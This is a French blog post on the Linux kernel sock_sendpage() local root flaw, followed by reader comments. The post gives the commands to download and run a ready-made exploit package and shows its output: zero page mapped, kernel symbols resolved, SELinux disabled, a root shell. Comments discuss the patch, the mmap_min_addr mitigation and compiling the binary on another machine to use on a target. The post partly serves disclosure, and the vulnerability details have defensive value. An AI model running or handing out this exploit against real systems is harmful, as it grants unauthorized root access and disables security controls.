Linux Kernel 2.x sock_sendpage() Local Root Exploit


video
Une nouvelle faille de sécurité a été découverte dans le noyau Linux pour les versions inférieures ou égales à la 2.6.30.4. L'exploit permet à un simple utilisateur de passer root. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.

wget www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz
tar zxvf sock-sendpage-local-root-exploit.tar.gz && cd sock-sendpage-local-root-exploit
chmod 755 wunderbar_emporium.sh
./wunderbar_emporium.sh
...
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0a0ee58
[+] Resolved selinux_enabled to 0xc089c4c4
[+] Resolved security_ops to 0xc0a0d62c
[+] Resolved default_security_ops to 0xc089bfe4
[+] Resolved sel_read_enforce to 0xc053f56e
[+] Resolved audit_enabled to 0xc09d734c
[+] Resolved commit_creds to 0xc044bc69
[+] Resolved prepare_kernel_cred to 0xc044baca
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : SELinux
[+] Got root!

sh-4.0# id
uid=0(root) gid=0(root) context=system_u:system_r:kernel_t:s0

La faille de sécurité se situe au niveau d'une fonction appelée sock_sendpage(). Celle-ci ne vérifie pas correctement la taille d'un pointeur avant de le déréférencer. Toutes les versions du noyau Linux publiées depuis mai 2001 sont concernées :

  • Linux 2.4, de la version 2.4.4 à la version 2.4.37.4
  • Linux 2.6, de la version 2.6.0 à la version 2.6.30.4

15 Commentaires pour "Linux Kernel 2.x sock_sendpage() Local Root Exploit"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Pour info, un patch a été publié par Linus Tolvards. Ce dernier permet de combler cette faille de sécurité.

    RépondreRépondre
    pti-seb , le 14 août 2009 à 22:30
  •  

    Ouch ça fait mal :/ je fais la maj.

    RépondreRépondre
    Rydgel , le 14 août 2009 à 22:40
  •  

    oula méchant ça...

    RépondreRépondre
    c4software , le 14 août 2009 à 22:44
  •  

    Là ou ça fait vraiment mal, c'est que cet exploit concerne 8 ans de version du noyau Linux. J'ose même pas imaginer le nombre de machines concernées.

    Sinon, sur certaines distributions on peut avoir ce message :

    [+] Personality set to: PER_SVR4
    Pulseaudio is not suid root!

    En gros, pour des distributions non sécurisées (sans SELinux par exemple), l'exploit passe par Pulseaudio. On obtient donc ce message si le binaire /usr/bin/pulseaudio n'est pas suid (c'est le cas sous certaine Ubuntu, comme la 9.10 par exemple. Sous Fedora ou Ubuntu 9.04 il est bien suid).

    On peut contourner le problème avec la commande suivante :

    chmod +s /usr/bin/pulseaudio

    Mais il faut déjà être root, donc aucun intérêt.

    RépondreRépondre
    pti-seb , le 14 août 2009 à 23:16
  •  

    L'exploit ne fonctionne que si la valeur de /proc/sys/vm/mmap_min_addr est à zéro.
    Chez moi (sur une Ubuntu 8.04 LTS) le mmap_min_addr est a 65536 par défaut donc l'exploit ne marche pas.
    Si le votre est à zéro il suffit de changer cette valeur pour être protégé: C''est donc une solution très simple pour boucher ce trou de sécurité.

    RépondreRépondre
    patrick_g , le 15 août 2009 à 07:49
  •  

    @patrick_g : Moi personnellement je n'est pas de /proc/sys/vm/mmap_min_addr et la faille fonctionne aussi. :S

    RépondreRépondre
    c4software , le 15 août 2009 à 11:10
  •  

    Belle faille, je viens également de tester sur ma dernière Ubuntu, c'est passé facilement.

    Comme tu dis pti-seb, 8 ans de versions Linux qui risque d'être mis à mal, c'est pas bon ça

    RépondreRépondre
    NoCrash , le 15 août 2009 à 11:22
  •  

    C'est quand même super violent comme faille ! Je m'en vais de ce pas, patcher tout ça !

    RépondreRépondre
    LuXoR , le 15 août 2009 à 11:25
  •  

    @c4software : Si tu n'a pas proc/sys/vm/mmap_min_addr et que l'exploit fonctionne je pense que c'est parce que tu a SELinux non ?

    RépondreRépondre
    patrick_g , le 15 août 2009 à 19:33
  •  

    @patrick_g : Heu je ne suis pas sur, j'ai testé sur une vieille machine virtuelle fonctionnant sous Ubuntu 6.06. Qui ne possède pas SELinux

    RépondreRépondre
    c4software , le 15 août 2009 à 21:55
  •  

    Testé chez mon hébergeur (Gandi) : Un kernel oops non fatal et c'est reparti sans problème. En même temps les noyaux Xen font souvent péter un cable aux exploits :)

    RépondreRépondre
    Kegeruneku , le 16 août 2009 à 22:38
  •  

    Mais on peut voir que du code C est executé... si on a pas de compilateur sur la machine c'est bon ça marche plus ... ??
    Ou bien chmod sur gcc ??

    Fait mal quand meme ce genre de chose ....

    RépondreRépondre
    tioumen , le 18 août 2009 à 08:43
  •  

    @tioumen : un hacker peut sans problème compiler le binaire sur sa propre machine et l'envoyer ensuite sur l'ordinateur cible. Et là, plus besoin d'avoir de compilateur ...

    RépondreRépondre
    pti-seb , le 18 août 2009 à 08:59
  •  

    The file is missing...

    RépondreRépondre
    fx0 , le 6 novembre 2009 à 12:41
  •  

    @fx0 : the exploit file is not missing. Please re-check ...

    RépondreRépondre
    pti-seb , le 6 novembre 2009 à 19:14
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum